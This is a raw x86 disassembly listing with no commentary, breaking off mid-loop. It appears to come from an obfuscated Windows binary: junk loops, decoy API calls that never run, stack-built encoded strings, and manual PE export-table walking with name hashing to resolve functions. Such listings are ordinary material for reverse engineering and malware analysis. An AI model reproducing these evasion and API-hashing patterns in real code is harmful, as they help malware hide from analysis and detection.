jmp 0x1002f0c3
or dword [ebp - 4], 0xffffffff
jmp 0x1002f0cd
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x1002f0e4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x1002f0fd
push 0
push 0x12ff
call dword [sym.imp.USER32.dll_GetWindowRect]
and dword [ebp - 0x11c], 0
jmp 0x1002f113
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xe
jae 0x1002f223
mov dword [ebp - 0x2cc], 0x39b
mov dword [ebp - 0x67c], str.ceuewgo_huxyej_owvdlea_oexnwwvzd_ctaedy_azmamza_eekyt_lliycnzc_fzgwwelb_mmflter_rcg
cmp dword [ebp - 0x2cc], 0x580
jle 0x1002f1c7
and dword [ebp - 0x158], 0
jmp 0x1002f15a
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x1dd9
jge 0x1002f1bb
and dword [ebp - 0x15c], 0
jmp 0x1002f17c
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x3183
jge 0x1002f1b9
mov eax, dword [ebp - 0x158]
xor eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x5e0], edx
push dword [ebp - 0x5e0]
push dword [ebp - 0x5e4]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002f16f
jmp 0x1002f14d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov eax, dword [ebp - 0x11c]
mov byte [ebp + eax - 0x50c], 0
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x2cc], 0x2df
jge 0x1002f1f8
mov edx, dword [ebp - 0x67c]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x1002f214
or dword [ebp - 4], 0xffffffff
jmp 0x1002f21e
jmp 0x1002f106
mov byte [ebp - 0x114], 0xb
mov byte [ebp - 0x113], 0xc
mov byte [ebp - 0x112], 0xd
mov byte [ebp - 0x111], 0x24
mov byte [ebp - 0x110], 0xa
mov byte [ebp - 0x10f], 0x32
mov byte [ebp - 0x10e], 4
mov byte [ebp - 0x10d], 0x11
mov byte [ebp - 0x10c], 5
mov byte [ebp - 0x10b], 0x11
mov byte [ebp - 0x10a], 0
mov byte [ebp - 0x109], 0x26
mov byte [ebp - 0x108], 8
mov byte [ebp - 0x107], 0x2c
mov byte [ebp - 0x106], 3
mov byte [ebp - 0x105], 0xe
mov byte [ebp - 0x104], 7
mov byte [ebp - 0x103], 0x13
mov byte [ebp - 0x102], 2
mov byte [ebp - 0x101], 0x17
mov byte [ebp - 0x100], 0xc
mov byte [ebp - 0xff], 0x16
mov byte [ebp - 0xfe], 1
mov byte [ebp - 0xfd], 1
mov byte [ebp - 0xfc], 6
mov byte [ebp - 0xfb], 0x22
mov byte [ebp - 0xfa], 9
mov byte [ebp - 0xf9], 0x33
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x114]
and eax, 0x7f
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x114]
or ecx, 0x7f
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x114]
mov byte [ebp + eax - 0x51c], cl
mov dword [ebp - 0x24], 2
and dword [ebp - 0x244], 0
jmp 0x1002f338
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1c
jae 0x1002f3cf
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x244]
movzx eax, byte [ebp + eax - 0x116]
movsx eax, byte [ebp + eax - 0x51c]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x113]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x244]
movzx eax, byte [ebp + eax - 0x116]
movsx eax, byte [ebp + eax - 0x51c]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x113]
and edx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x244]
movzx eax, byte [ebp + eax - 0x116]
movsx eax, byte [ebp + eax - 0x51c]
mov esi, dword [ebp - 0x24]
movzx ebx, byte [ebp + esi - 0x113]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x114]
mov byte [ebp + eax - 0x51c], bl
jmp 0x1002f330
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x51c], 0
lea eax, [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x898]
call fcn.10033582
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x604], eax
mov dword [ebp - 4], 0x1f
mov edx, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x604]
call fcn.1001e61a
mov dword [0x1035fe3c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x898]
call fcn.10004cd8
and dword [ebp - 0x124], 0
jmp 0x1002f443
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xf
jae 0x1002f45c
mov eax, dword [ebp - 0x124]
mov byte [ebp + eax - 0x51c], 0
jmp 0x1002f436
push 2
lea ecx, [ebp - 0x4e4]
call fcn.10004d6b
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x8c], 0xdf2f4a8b
mov dword [ebp - 0x34c], 1
mov dword [ebp - 0x788], 0x123e
mov dword [ebp - 0x12c], 0
jmp 0x1002f4a7
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x1002f4c9
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
mov dword [eax], 0xf0ea75c9
jmp 0x1002f49a
mov dword [ebp - 0x8c], 1
jmp 0x1002f4e2
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x1002fa14
mov dword [ebp - 0x84], 0xe2fde2bb
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x84], 0xfffffffc
mov dword [ebp - 0x84], 1
jmp 0x1002f526
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x1002fa0f
mov dword [ebp - 0xb8], 0x13281d21
mov dword [ebp - 0x254], 0xfffffffb
mov dword [ebp - 0x13c], 0xffffffff
mov dword [ebp - 0x608], 0xc1b2d863
mov dword [ebp - 0xb8], 0
jmp 0x1002f574
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jg 0x1002f9f2
mov dword [ebp - 0x68], 5
mov dword [ebp - 0x32c], 0xfffffffc
mov dword [ebp - 0x68], 0
jmp 0x1002f5a2
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jg 0x1002f84f
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x5d0], 0x1b5f7a0d
mov dword [ebp - 0x134], 0
jmp 0x1002f5d9
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jge 0x1002f5f5
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x6bc], 0xa1172167
jmp 0x1002f5cc
mov dword [ebp - 0xb4], 1
jmp 0x1002f60e
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x1002f84a
mov dword [ebp - 0x24c], 0x46b51f0e
mov eax, 0xb088
test eax, eax
je 0x1002f635
cmp dword [ebp - 0x24c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6bc]
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x254]
sub eax, dword [ebp - 0xb4]
je 0x1002f66b
cmp dword [ebp - 0xb4], 0
je 0x1002f66b
mov dword [ebp - 0x2dc], 1
jmp 0x1002f672
and dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xecdc
jg 0x1002f68a
mov dword [ebp - 0x2e4], 1
jmp 0x1002f691
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0x2e4], eax
je 0x1002f6ba
push 1
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
cmp dword [eax], 0
jne 0x1002f6ba
and dword [ebp - 0x2ec], 0
jmp 0x1002f6c4
mov dword [ebp - 0x2ec], 1
cmp dword [ebp - 0x2ec], 0x39ce
jne 0x1002f6dc
mov dword [ebp - 0x2f4], 1
jmp 0x1002f6e3
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2f4], 9
jne 0x1002f6f3
cmp dword [ebp - 0x24c], 0
cmp dword [ebp - 0x84], 0xf2a6add3
jne 0x1002f70b
mov dword [ebp - 0x2fc], 1
jmp 0x1002f712
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x2fc], eax
jne 0x1002f72c
mov dword [ebp - 0x304], 1
jmp 0x1002f733
and dword [ebp - 0x304], 0
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
mov ecx, dword [ebp - 0x304]
cmp ecx, dword [eax]
jle 0x1002f75a
mov dword [ebp - 0x30c], 1
jmp 0x1002f761
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x30c]
neg eax
je 0x1002f789
push 1
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
cmp dword [eax], 0
je 0x1002f789
mov dword [ebp - 0x314], 1
jmp 0x1002f790
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0x4518
jne 0x1002f7a8
mov dword [ebp - 0x31c], 1
jmp 0x1002f7af
and dword [ebp - 0x31c], 0
cmp dword [ebp - 0x31c], 0xffffffff
jne 0x1002f7d1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6bc], 0
jne 0x1002f7d1
and dword [ebp - 0x324], 0
jmp 0x1002f7db
mov dword [ebp - 0x324], 1
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x32c], eax
mov esi, dword [ebp - 0x32c]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
cmp dword [eax], esi
je 0x1002f80e
mov dword [ebp - 0x334], 1
jmp 0x1002f815
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x334]
add eax, 7
cmp eax, dword [ebp - 0x24c]
jge 0x1002f832
mov dword [ebp - 0x33c], 1
jmp 0x1002f839
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x13c], eax
jmp 0x1002f601
jmp 0x1002f59b
cmp dword [ebp - 0x68], 0
jne 0x1002f969
cmp dword [ebp - 0x68], 0x642e
jne 0x1002f86e
mov dword [ebp - 0x344], 1
jmp 0x1002f875
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x344]
sub eax, dword [ebp - 0x8c]
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
cmp eax, dword [ebp - 0x68]
jne 0x1002f89e
mov dword [ebp - 0x354], 1
jmp 0x1002f8a5
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x354], eax
je 0x1002f8bf
mov dword [ebp - 0x35c], 1
jmp 0x1002f8c6
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x254]
cmp dword [ebp - 0x35c], eax
jg 0x1002f8e0
mov dword [ebp - 0x364], 1
jmp 0x1002f8e7
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x8c]
jge 0x1002f90d
mov dword [ebp - 0x36c], 1
jmp 0x1002f914
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x608]
cmp eax, dword [ebp - 0x36c]
jge 0x1002f92e
mov dword [ebp - 0x374], 1
jmp 0x1002f935
and dword [ebp - 0x374], 0
cmp dword [ebp - 0x374], 0x7c2923f8
jne 0x1002f94d
mov dword [ebp - 0x37c], 1
jmp 0x1002f954
and dword [ebp - 0x37c], 0
cmp dword [ebp - 0x37c], 0
je 0x1002f969
mov dword [ebp - 0x384], 1
jmp 0x1002f970
and dword [ebp - 0x384], 0
cmp dword [ebp - 0x384], 0xc5cc99cf
ja 0x1002f988
mov dword [ebp - 0x38c], 1
jmp 0x1002f98f
and dword [ebp - 0x38c], 0
mov esi, dword [ebp - 0x8c]
imul esi, dword [ebp - 0x38c]
push 0
lea ecx, [ebp - 0x4e4]
call fcn.10004de4
cmp dword [eax], esi
jne 0x1002f9b9
mov dword [ebp - 0x394], 1
jmp 0x1002f9c0
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x254]
cmp dword [ebp - 0x394], eax
jge 0x1002f9da
mov dword [ebp - 0x39c], 1
jmp 0x1002f9e1
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x5dc], eax
jmp 0x1002f567
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x1002fa0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002f519
jmp 0x1002f4d5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4e4]
call fcn.10004dc8
mov eax, dword [0x1035e8e8]
cmp eax, dword [ebp - 0x1f4]
je 0x1002fa3d
mov eax, dword [0x1035fe3c]
cmp eax, dword [ebp - 0x1f4]
jne 0x1002fa55
mov ecx, dword [ebp + 0xc]
call fcn.10004aaa
push eax
push dword [ebp + 8]
call fcn.10028128
pop ecx
pop ecx
jmp 0x10030a82
push 2
lea ecx, [ebp - 0x23c]
call fcn.10004d6b
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x14], 6
push 4
lea ecx, [ebp - 0x720]
call fcn.10004d6b
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x3c], 0
jmp 0x1002fa91
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x1002faad
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
mov dword [eax], 0x91a0
jmp 0x1002fa8a
mov dword [ebp - 0x3c], 0
jmp 0x1002fabd
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x1002fad6
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x720]
call fcn.10004de4
and dword [eax], 0
jmp 0x1002fab6
mov dword [ebp - 0x14], 0
jmp 0x1002fae6
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jg 0x1002fcd2
mov dword [ebp - 0x94], 0x24f84b81
mov dword [ebp - 0x144], 0
jmp 0x1002fb13
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x1002fb2f
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x618], 0xf8716b5b
jmp 0x1002fb06
mov dword [ebp - 0x94], 0
jmp 0x1002fb48
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jg 0x1002fb6b
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x1002fb69
call dword [sym.imp.KERNEL32.dll_GetVersion]
jmp 0x1002fb3b
mov esi, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
cmp dword [eax], esi
jle 0x1002fb8c
mov dword [ebp - 0x3a4], 1
jmp 0x1002fb93
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x3a4]
jg 0x1002fbad
mov dword [ebp - 0x3ac], 1
jmp 0x1002fbb4
and dword [ebp - 0x3ac], 0
cmp dword [ebp - 0x3ac], 8
ja 0x1002fbc9
mov dword [ebp - 0x3b4], 1
jmp 0x1002fbd0
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x3b4], eax
jg 0x1002fbe7
mov dword [ebp - 0x3bc], 1
jmp 0x1002fbee
and dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3bc], 0x23e52509
je 0x1002fc06
mov dword [ebp - 0x3c4], 1
jmp 0x1002fc0d
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
sub eax, 0xd569
cmp dword [ebp - 0x14], eax
jle 0x1002fc35
mov dword [ebp - 0x3cc], 1
jmp 0x1002fc3c
and dword [ebp - 0x3cc], 0
cmp dword [ebp - 0x3cc], 1
jne 0x1002fc51
mov dword [ebp - 0x610], 1
jmp 0x1002fc58
and dword [ebp - 0x610], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5e8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5e8]
mov dword [ebp + eax - 0x618], ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
push 1
lea ecx, [ebp - 0x23c]
call fcn.10004de4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
mov esi, eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1002fadf
mov dword [ebp - 0x14], 1
jmp 0x1002fce2
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x1002fda3
mov dword [ebp - 0x14c], 0xe215169f
mov dword [ebp - 0x5f4], 5
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
cmp dword [eax], 0
jne 0x1002fd88
push dword [ebp - 0x14]
lea ecx, [ebp - 0x23c]
call fcn.10004de4
cmp dword [eax], 0
je 0x1002fd76
push 1
lea ecx, [ebp - 0x720]
call fcn.10004de4
mov dword [eax], 1
xor esi, esi
inc esi
sub esi, dword [ebp - 0x14]
push 1
lea ecx, [ebp - 0x23c]
call fcn.10004de4
cmp dword [eax], esi
jg 0x1002fd69
mov dword [ebp - 0x3d4], 1
jmp 0x1002fd70
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x14c], 0
jne 0x1002fd88
and dword [ebp - 0x3dc], 0
jmp 0x1002fd92
mov dword [ebp - 0x3dc], 1
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x5f4], eax
jmp 0x1002fcdb
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x720]
call fcn.10004dc8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.10004dc8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x3ec], 0x568d526d
mov dword [ebp - 0x3e4], 0x2f04
mov dword [ebp - 0x620], str.bqoxep_hqvk_woluodls_xadcqjqx_irseygyro_gide_esdonc_nfmacyeb_jpk_gbqcrc_mvaiexbb
cmp dword [ebp - 0x3e4], 0x309b
jle 0x1002feda
and dword [ebp - 0x1b4], 0
jmp 0x1002fe15
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x112e
jge 0x1002feda
and dword [ebp - 0x154], 0
jmp 0x1002fe3b
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x6104
jge 0x1002fed5
and dword [ebp - 0x1a4], 0
jmp 0x1002fe61
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x1f7e
jge 0x1002fed0
and dword [ebp - 0x1ac], 0
jmp 0x1002fe83
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x188a
jge 0x1002fece
mov eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1ac]
shl eax, cl
and eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], edx
push dword [ebp - 0x5ec]
push dword [ebp - 0x5f0]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002fe76
jmp 0x1002fe54
jmp 0x1002fe2e
jmp 0x1002fe08
mov dword [ebp - 0x1bc], 0x198ab79
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x3e4], 0x2c2b
jge 0x1002ff07
mov edx, dword [ebp - 0x620]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x1002ff23
or dword [ebp - 4], 0xffffffff
jmp 0x1002ff2d
mov dword [ebp - 0x1c4], 1
push 1
lea ecx, [ebp - 0x4f0]
call fcn.10004d6b
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x600], 0x1cc545e2
mov dword [ebp - 0x524], 0xfffffff6
mov dword [ebp - 0x44], 0
jmp 0x1002ff6f
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1002ff8b
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
mov dword [eax], 0x6a191a83
jmp 0x1002ff68
mov dword [ebp - 0x44], 0
jmp 0x1002ff9b
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1002ffb1
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x528], 0x452e
jmp 0x1002ff94
cmp dword [ebp - 0x30], 0
jne 0x1002ffd2
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0
jne 0x1002ffd2
and dword [ebp - 0x42c], 0
jmp 0x1002ffdc
mov dword [ebp - 0x42c], 1
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x1bc]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xf777
je 0x1003000f
mov dword [ebp - 0x3f4], 1
jmp 0x10030016
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x3f4], eax
jge 0x1003002d
mov dword [ebp - 0x3fc], 1
jmp 0x10030034
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x1c4], eax
mov esi, dword [ebp - 0x1c4]
push 0
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
cmp esi, dword [eax]
jge 0x10030063
mov dword [ebp - 0x404], 1
jmp 0x1003006a
and dword [ebp - 0x404], 0
push 0
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
mov ecx, dword [ebp - 0x404]
cmp ecx, dword [eax]
jne 0x10030087
cmp dword [ebp - 0x30], 0
je 0x1003009c
cmp dword [ebp - 0x1c4], 0
je 0x1003009c
mov dword [ebp - 0x40c], 1
jmp 0x100300a3
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x40c], eax
jle 0x100300ba
mov dword [ebp - 0x414], 1
jmp 0x100300c1
and dword [ebp - 0x414], 0
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x600]
imul edi, dword [ebp - 0x414]
push 0
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
sub edi, dword [eax]
cmp edi, esi
jne 0x100300f0
mov dword [ebp - 0x41c], 1
jmp 0x100300f7
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0xfffffff8
jbe 0x1003010c
mov dword [ebp - 0x424], 1
jmp 0x10030113
and dword [ebp - 0x424], 0
push 0
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
mov ecx, dword [ebp - 0x424]
cmp ecx, dword [eax]
jge 0x10030136
mov dword [ebp - 0x628], 1
jmp 0x1003013d
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x7a0], eax
mov eax, 0x93046aa1
sub eax, 0xfffffffc
sub eax, dword [ebp - 0x30]
cmp dword [ebp - 0x42c], eax
jge 0x10030171
mov dword [ebp - 0x630], 1
jmp 0x10030178
and dword [ebp - 0x630], 0
mov esi, dword [ebp - 0x524]
push 0
lea ecx, [ebp - 0x4f0]
call fcn.10004de4
cmp dword [eax], esi
jge 0x1003019b
mov dword [ebp - 0x434], 1
jmp 0x100301a2
and dword [ebp - 0x434], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x434]
mov dword [ebp + eax - 0x528], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4f0]
call fcn.10004dc8
cmp dword [ebp - 0x1cc], 0
je 0x1003094c
mov eax, dword [ebp - 0x1cc]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1003094c
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1cc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xcc], ecx
mov eax, dword [ebp - 0xcc]
cmp dword [eax], 0x4550
jne 0x1003094c
mov eax, dword [ebp - 0xcc]
cmp dword [eax + 0x74], 0
jbe 0x1003094c
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
cmp dword [ecx + eax + 0x78], 0
je 0x1003094c
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa8], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xa8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x58], edx
mov eax, 0xffff
mov word [ebp - 0x38], ax
or dword [ebp - 0xa4], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x10030283
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003027e
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x38], ax
jmp 0x1003059c
mov eax, dword [0x1035fdd4]
and eax, 1
jne 0x100302ba
mov eax, dword [0x1035fdd4]
or eax, 1
mov dword [0x1035fdd4], eax
mov dword [ebp - 4], 0x26
mov ecx, 0x1035fd64
call fcn.10014bec
push 0x100650db
call fcn.1004c629
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1035e8ee]
test eax, eax
je 0x10030326
mov ecx, 0x1035fd64
call fcn.100336cc
movzx eax, al
test eax, eax
jne 0x10030326
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x43c]
push eax
mov ecx, 0x1035fd64
call fcn.10014cb1
lea eax, [ebp - 0x76c]
push eax
mov ecx, 0x1035fd64
call fcn.10014ca3
push eax
lea ecx, [ebp - 0x43c]
call fcn.10014cc6
movzx eax, al
test eax, eax
je 0x10030326
lea ecx, [ebp - 0x43c]
call fcn.100336d5
mov eax, dword [eax + 4]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xffffffff
jne 0x1003059c
mov ecx, 0x1035fd64
call fcn.10014b6a
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1035fd64
call fcn.1003372a
and dword [ebp - 0xac], 0
jmp 0x10030364
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xac]
cmp ecx, dword [eax + 0x18]
jae 0x1003059c
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xa8]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xac]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
je 0x10030597
mov eax, dword [ebp - 0x444]
mov ecx, dword [ebp - 0xa8]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x7f0]
call fcn.10033582
mov dword [ebp - 4], 0x27
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x7f0]
call fcn.1001e61a
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x44c], 0x35a4
mov dword [ebp - 0x530], str.ccupbexn_yxcrgc_syhdabdic_iokg_znes_wqtfll_epzjtk_diotm_ovre_qzwxc_lxpd
cmp dword [ebp - 0x44c], 0x38d2
jle 0x100304dd
and dword [ebp - 0x1ec], 0
jmp 0x1003040d
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x66f7
jge 0x100304d5
and dword [ebp - 0x1e4], 0
jmp 0x10030433
mov eax, dword [ebp - 0x1e4]
inc eax
